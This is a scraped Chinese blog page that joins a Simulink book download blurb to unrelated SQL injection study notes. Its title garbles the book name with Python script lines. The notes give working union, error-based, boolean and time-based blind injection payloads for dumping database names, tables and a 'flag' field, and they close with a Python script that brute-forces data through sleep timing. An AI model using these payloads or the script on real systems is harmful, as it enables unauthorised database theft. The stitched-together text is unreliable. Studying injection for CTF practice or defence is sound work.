我是靠谱客的博主 有魅力荔枝,最近开发中收集的这篇文章主要介绍Simulink仿真及代码生成技术入门到精通url = input(“url:”)t = input(“sleep:”),觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

围绕Simulink软件的仿真和代码生成技术,从原理上展开阐述,把握整体,注重细节,让读者深刻认识Simulink的运行原理。结构化的章节安排和丰富多彩的案例展示了Simulink在模型建立、工业流程仿真及嵌入式控制等方面的应用技巧和方法。本书不拘泥于界面操作,而结合MATLAB脚本语言展示其自动控制模型仿真、代码生成过程的强大功能,带领读者把握宏观架构,攻克细节问题。

全书共19章,分为入门篇、进阶篇和高级篇3个篇章。入门篇介绍Simulink软件及其基本操作和构成要素;进阶篇讲解Simulink的运行机制和原理、自定义模块及模块封装、自定义模块库的建立和Simulink环境的编辑等功能,并讲解如何使用M语言为模块发布help文档,以及通过工业实例展示综合应用GUI控制Simulink进行仿真的方法及代码生成的应用方法;高级篇重点介绍“基于模型设计”的开发流程、嵌入式C代码生成技术原理及TLC语言编写方法,并展示如何在嵌入式应用中使用TSP。

文件:url80.ctfile.com/f/25127180-512373041-29f369(访问密码:551685)


以下内容无关:

由于我的博客是学到渗透的时候才做的,没有关于WEB漏洞的笔记,现在发现WEB层面的漏洞有些不太熟悉了,边写一下笔记边复习一下,就从sql注入开始吧

话不多说先上大佬写的表[ctfhub]SQL注入 - h3zh1 - 博客园 (cnblogs.com),基本常用的手工注入命令都在这

union select 联合查询,联合注入常用
database() 回显当前连接的数据库
version() 查看当前sql的版本如:mysql 1.2.3, mariadb-4.5.6
group_concat() 把产生的同一分组中的值用,连接,形成一个字符串
information_schema 存了很多mysql信息的数据库
information_schema.schemata information_schema库的一个表,名为schemata
schema_name schemata表中存储mysql所有数据库名字的字段
information_schema.tables 存了mysql所有的表
table_schema tables表中存每个表对应的数据库名的字段
table_name 表的名字和table_schema一一对应
information_schema.columns columns表存了所有的列的信息4
column_name 当你知道一个表的名字时,可通过次字段获得表中的所有字段名(列名)
table_name 表的名字和column_name一一对应
select updatexml(1,concat(0x7e,database(),0x7e),1); 这里注意,只在databse()处改你想要的内容即可报错回显
right(str, num) 字符串从右开始截取num个字符
left(str,num) 同理:字符串从左开始截取num个字符
substr(str,N,M) 字符串,从第N个字符开始,截取M个字符

SQL注入原理#
SQL注入漏同的产生需要满足以下两个条件

参数用户可控:前端传给后端的参数内容是用户可以控制的。
参数带入数据车查询:传入的参数拼接到SQL语句,且带入数据车查询
当传入的D参数为and1=1时,执行的SQL语句。(#号表示注释符)

1
select from users where id=1 and 1=1#
因为1=1为真,且 wherei语句中id=1也为真,所以页面会返回与id=1相同的结果。当传入的ID参数为and1=2时,由于1=2不成立,所以返回假,页面就会返回与id=1不同的结果

通过这个简短的语句可以初步判断参数是否存在SQL注入漏洞,如果验证有攻击者可以进一步拼接SQL语句进行攻击,致使数据库泄露,甚至获取服务器权限

Union注入攻击#
在判断了注入点之后,使用order by判断该数据表的字段数量

例如输入这个,回显的与id=1相同结果

1
id=1 order by 4#
但order by 5之后回显了不同的结果,则说明字段数为4

判断完字段数后使用union注入,判断回显字段的位置

使用union注入要注意参数设置成-1,否则数据库会优先查询参数值,无法判断回显位置

1
id=-1 union select 1,2,3,4#
接着在回显的字段上输入攻击的代码,例如2是回显字段位,输入database()就能查看数据库

1
id=-1 union select 1,database(),3,4#
假设得知数据库名为sqli,得知数据库库名之后,查询表名,group_concat函数把产生的同一分组中的值用,连接,形成一个字符串

1
id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=“sqli”,3,4#
假设得知表名为flag,查询字段名

1
id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name=“flag”,3,4#
得知字段名查字段

1
id=-1 union select 1,group_concat(flag) from sqli.flag,3,4#
这就是基本的union注入思路,但实战情况下会有很多过滤防止攻击者获取数据库的信息

报错注入攻击#
报错注入可以在判断注入点之后,但是没有回显字段,只会显示错误信息的情况下使用

关键的命令是select updatexml(1,concat(0x7e,database(),0x7e),1); 在database()处修改想要攻击的语句

其中0x7e是ASCII编码,意思是~,用于区分系统报错和关键信息

接下来的思路和union注入一样,但要注意的点是需要使用right函数和left函数来查询报错回显的字段,因为通常报错回显的字段数是有限的,而需要的数据库信息比较长

right(str, num) 字符串从右开始截取num个字符
left(str,num) 同理:字符串从左开始截取num个字符
用法示例

1
2
3
-1 union select updatexml(1,concat(0x7e,right(
(select(group_concat(schema_name))from information_schema.schemata)
,31 ),0x7e),1); #

Boolean注入攻击#
当页面只显示yes或no,而不返回数据库中的任何数据,就使用Boolean注入攻击

首先使用Lenth()函数判断数据库名的长度

1
id=1 and lenth(database())>=1#
查询数据库名长度后,使用substr函数逐字获取数据库名,数据库库名的范围一般在az、09之内,还可能有一些特殊字符

substr(str,N,M) 字符串,从第N个字符开始,截取M个字符

1
id=1 and substr(database(),1,1)=‘a’#
但一般这种方式手工速度很慢效率很低,一般采用爆破的方式,可以使用bp进行爆破,用返回字节长度判断是否正确

爆出数据库名之后后面的方法同理

时间注入攻击#
时间注入和Boolean注入差不多,不同之处是时间注入利用于什么都不返回,连是否正确都不返回。

时间注入利用sleep函数让MySQL执行时间变长从而判断是否注入成功

判断数据库长度语句是

1
id=if(length(database())>1,sleep(5),1)
意思是如果数据库名长度大于1,则暂停五秒后执行,否则直接执行

了解了时间盲注后就可以用开始的思路进行攻击

1
id=if(substr(database(),1,1)=‘a’,sleep(5),1)
但是时间盲注手工注入比Boolean注入还要慢,一般用python脚本来实现爆破

贴上代码

复制代码
import requests
import time

headers = {
“User-Agent”: “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36”
}
word1 = []
word2 = []

url = input(“url:”)

t = input(“sleep:”)

for i in range(65, 91):
word1.append(chr(i))
for i in range(97, 123):
word1.append(chr(i))
for i in range(48, 58):
word1.append(chr(i))
word1.append(’{’)
word1.append(’}’)

for i in range(97, 123):
word2.append(chr(i))
for i in range(48, 58):
word2.append(chr(i))
word2.append(’{’)
word2.append(’}’)

for i in range(1, 40):
for j in word2:
url = “http://URL/?id=1 and if(substr((select flag from sqli.flag),” + str(i) + “,1)=’” + str(j) + “’,sleep(3),1)#”
t1 = time.time()
r = requests.get(url, headers) #发送GET请求。 返回Response对象。
t2 = time.time()
if t2 - t1 > 3:
print(j)
复制代码

堆叠注入攻击#
堆叠查询可以执行多条语句,每条语句用分号隔开。堆叠注入和union注入的区别就是,堆叠注入可以执行任意语句,而union注入只限于查询语句

最后

以上就是有魅力荔枝为你收集整理的Simulink仿真及代码生成技术入门到精通url = input(“url:”)t = input(“sleep:”)的全部内容,希望文章能够帮你解决Simulink仿真及代码生成技术入门到精通url = input(“url:”)t = input(“sleep:”)所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(60)

评论列表共有 0 条评论

立即
投稿
返回
顶部